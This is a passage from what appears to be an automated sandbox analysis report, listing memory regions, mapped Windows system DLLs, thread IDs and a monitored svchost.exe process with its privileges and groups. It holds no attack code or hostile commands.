0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3255 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3256 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3257 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3258 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3259 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3260 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3261 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3262 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3263 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3264 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3265 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 3266 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 3267 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3268 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 3269 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3270 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3271 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3272 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3273 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3274 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3275 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3276 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3277 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3278 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3279 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3280 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3281 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3282 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3283 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3284 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3285 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3286 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3287 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 5338 start_va = 0x7fef9f70000 end_va = 0x7fefa03dfff monitored = 0 entry_point = 0x7fef9f71e18 region_type = mapped_file name = "mpssvc.dll" filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll") Region: id = 5659 start_va = 0x7fefcc90000 end_va = 0x7fefccc7fff monitored = 0 entry_point = 0x7fefcc927c0 region_type = mapped_file name = "winsrv.dll" filename = "\\Windows\\System32\\winsrv.dll" (normalized: "c:\\windows\\system32\\winsrv.dll") Region: id = 5660 start_va = 0x7fef2bf0000 end_va = 0x7fef2d6ffff monitored = 0 entry_point = 0x7fef2c280d0 region_type = mapped_file name = "racengn.dll" filename = "\\Windows\\System32\\RacEngn.dll" (normalized: "c:\\windows\\system32\\racengn.dll") Region: id = 5697 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 5698 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 5713 start_va = 0xff650000 end_va = 0xff6a6fff monitored = 0 entry_point = 0xff663450 region_type = mapped_file name = "lsm.exe" filename = "\\Windows\\System32\\lsm.exe" (normalized: "c:\\windows\\system32\\lsm.exe") Region: id = 5714 start_va = 0x7fefa860000 end_va = 0x7fefa896fff monitored = 0 entry_point = 0x7fefa868424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 5715 start_va = 0x7fefab30000 end_va = 0x7fefabdbfff monitored = 0 entry_point = 0x7fefab418d0 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Thread: id = 318 os_tid = 0xd8c Thread: id = 319 os_tid = 0x90c Thread: id = 320 os_tid = 0x908 Thread: id = 321 os_tid = 0x814 Thread: id = 322 os_tid = 0x158 Thread: id = 323 os_tid = 0x230 Thread: id = 324 os_tid = 0x75c Thread: id = 325 os_tid = 0x7c4 Thread: id = 326 os_tid = 0x5b8 Thread: id = 327 os_tid = 0x5c4 Thread: id = 328 os_tid = 0x7fc Thread: id = 329 os_tid = 0x518 Thread: id = 330 os_tid = 0x514 Thread: id = 331 os_tid = 0x510 Thread: id = 332 os_tid = 0x154 Thread: id = 333 os_tid = 0x3cc Thread: id = 334 os_tid = 0x3b4 Thread: id = 335 os_tid = 0x3b0 Thread: id = 336 os_tid = 0x3a0 Thread: id = 337 os_tid = 0x2f8 Thread: id = 338 os_tid = 0x2f4 Thread: id = 339 os_tid = 0x2d0 Thread: id = 340 os_tid = 0x2c8 Thread: id = 530 os_tid = 0x530 Thread: id = 534 os_tid = 0xeb0 Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x96e9000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c5c1" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 3401 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3402 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 3403 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3404 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3405 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3406 start_va = 0xc0000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3407 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3408 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3409 start_va = 0x210000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3410 start_va = 0x310000 end_va = 0x310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 3411 start_va = 0x320000 end_va = 0x32cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 3412 start_va = 0x330000 end_va = 0x330fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 3413 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3414 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 3415 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3416 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 3417 start_va = 0x470000 end_va = 0x471fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 3418 start_va = 0x480000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 3419 start_va = 0x500000 end_va = 0x501fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 3420 start_va = 0x510000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 3421 start_va = 0x520000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3422 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3423 start_va = 0x5b0000 end_va = 0x737fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 3424 start_va = 0x740000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 3425 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 3426 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 3427 start_va = 0x8f0000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 3428 start_va = 0x970000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 3429 start_va = 0x980000 end_va = 0x982fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umrdp.dll.mui" filename = "\\Windows\\System32\\en-US\\umrdp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umrdp.dll.mui") Region: id = 3430 start_va = 0x990000 end_va = 0x991fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 3431 start_va = 0xa00000 end_va = 0xa1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rasdlg.dll.mui" filename = "\\Windows\\System32\\en-US\\rasdlg.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rasdlg.dll.mui") Region: id = 3432 start_va = 0xa20000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 3433 start_va = 0xaa0000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 3434 start_va = 0xba0000 end_va = 0xe6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3435 start_va = 0xe80000 end_va = 0xefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 3436 start_va = 0xf30000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 3437 start_va = 0x1080000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 3438 start_va = 0x1130000 end_va = 0x11affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 3439 start_va = 0x1210000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 3440 start_va = 0x12c0000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 3441 start_va = 0x13d0000 end_va = 0x13dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 3442 start_va = 0x13f0000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 3443 start_va = 0x14c0000 end_va = 0x153ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014c0000" filename = "" Region: id = 3444 start_va = 0x15b0000 end_va = 0x162ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 3445 start_va = 0x16f0000 end_va = 0x16fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 3446 start_va = 0x1710000 end_va = 0x171ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 3447 start_va = 0x1730000 end_va = 0x17affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 3448 start_va = 0x17b0000 end_va = 0x18affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017b0000" filename = "" Region: id = 3449 start_va = 0x1920000 end_va = 0x1a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001920000" filename = "" Region: id = 3450 start_va = 0x1a80000 end_va = 0x1afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a80000" filename = "" Region: id = 3451 start_va = 0x1ba0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 3452 start_va = 0x1bc0000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bc0000" filename = "" Region: id = 3453 start_va = 0x1c40000 end_va = 0x1d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 3454 start_va = 0x1e20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 3455 start_va = 0x1fd0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 3456 start_va = 0x1fe0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 3457 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 3458 start_va = 0x21a0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 3459 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 3460 start_va = 0x2240000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 3461 start_va = 0x2340000 end_va = 0x243ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 3462 start_va = 0x2530000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 3463 start_va = 0x73440000 end_va = 0x73442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 3464 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3465 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3466 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3467 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3468 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3469 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3470 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 3471 start_va = 0x7fef3f30000 end_va = 0x7fef3f68fff monitored = 0 entry_point = 0x7fef3f310b0 region_type = mapped_file name = "umrdp.dll" filename = "\\Windows\\System32\\umrdp.dll" (normalized: "c:\\windows\\system32\\umrdp.dll") Region: id = 3472 start_va = 0x7fef4710000 end_va = 0x7fef472bfff monitored = 0 entry_point = 0x7fef47111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3473 start_va = 0x7fef4730000 end_va = 0x7fef4791fff monitored = 0 entry_point = 0x7fef4731198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3474 start_va = 0x7fef47a0000 end_va = 0x7fef47d9fff monitored = 0 entry_point = 0x7fef47a1010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 3475 start_va = 0x7fef47e0000 end_va = 0x7fef48b7fff monitored = 0 entry_point = 0x7fef4848bd0 region_type = mapped_file name = "rasdlg.dll" filename = "\\Windows\\System32\\rasdlg.dll" (normalized: "c:\\windows\\system32\\rasdlg.dll") Region: id = 3476 start_va = 0x7fef48c0000 end_va = 0x7fef491bfff monitored = 0 entry_point = 0x7fef48c8c20 region_type = mapped_file name = "netman.dll" filename = "\\Windows\\System32\\netman.dll" (normalized: "c:\\windows\\system32\\netman.dll") Region: id = 3477 start_va = 0x7fef4b60000 end_va = 0x7fef4deafff monitored = 0 entry_point = 0x7fef4b66f5c region_type = mapped_file name = "netshell.dll" filename = "\\Windows\\System32\\netshell.dll" (normalized: "c:\\windows\\system32\\netshell.dll") Region: id = 3478 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4eaecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 3479 start_va = 0x7fef8760000 end_va = 0x7fef876bfff monitored = 0 entry_point = 0x7fef876419c region_type = mapped_file name = "apphlpdm.dll" filename = "\\Windows\\System32\\Apphlpdm.dll" (normalized: "c:\\windows\\system32\\apphlpdm.dll") Region: id = 3480 start_va = 0x7fef8770000 end_va = 0x7fef8786fff monitored = 0 entry_point = 0x7fef877d308 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 3481 start_va = 0x7fef87e0000 end_va = 0x7fef885bfff monitored = 0 entry_point = 0x7fef87e11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 3482 start_va = 0x7fef8950000 end_va = 0x7fef8a0cfff monitored = 0 entry_point = 0x7fef8951ea4 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 3483 start_va = 0x7fef8f90000 end_va = 0x7fef8ffafff monitored = 0 entry_point = 0x7fef8fd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 3484 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 3485 start_va = 0x7fef91e0000 end_va = 0x7fef9263fff monitored = 0 entry_point = 0x7fef9231118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 3486 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 3487 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3488 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 3489 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 3490 start_va = 0x7fef9640000 end_va = 0x7fef9661fff monitored = 0 entry_point = 0x7fef9641020 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll") Region: id = 3491 start_va = 0x7fef9820000 end_va = 0x7fef982ffff monitored = 0 entry_point = 0x7fef9821010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 3492 start_va = 0x7fef9830000 end_va = 0x7fef9841fff monitored = 0 entry_point = 0x7fef9831050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 3493 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3494 start_va = 0x7fef98b0000 end_va = 0x7fef98e2fff monitored = 0 entry_point = 0x7fef98b101c region_type = mapped_file name = "pcasvc.dll" filename = "\\Windows\\System32\\pcasvc.dll" (normalized: "c:\\windows\\system32\\pcasvc.dll") Region: id = 3495 start_va = 0x7fef98f0000 end_va = 0x7fef9908fff monitored = 0 entry_point = 0x7fef98f2b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 3496 start_va = 0x7fefa720000 end_va = 0x7fefa72ffff monitored = 0 entry_point = 0x7fefa7227f0 region_type = mapped_file name = "uxsms.dll" filename = "\\Windows\\System32\\uxsms.dll" (normalized: "c:\\windows\\system32\\uxsms.dll") Region: id = 3497 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3498 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: 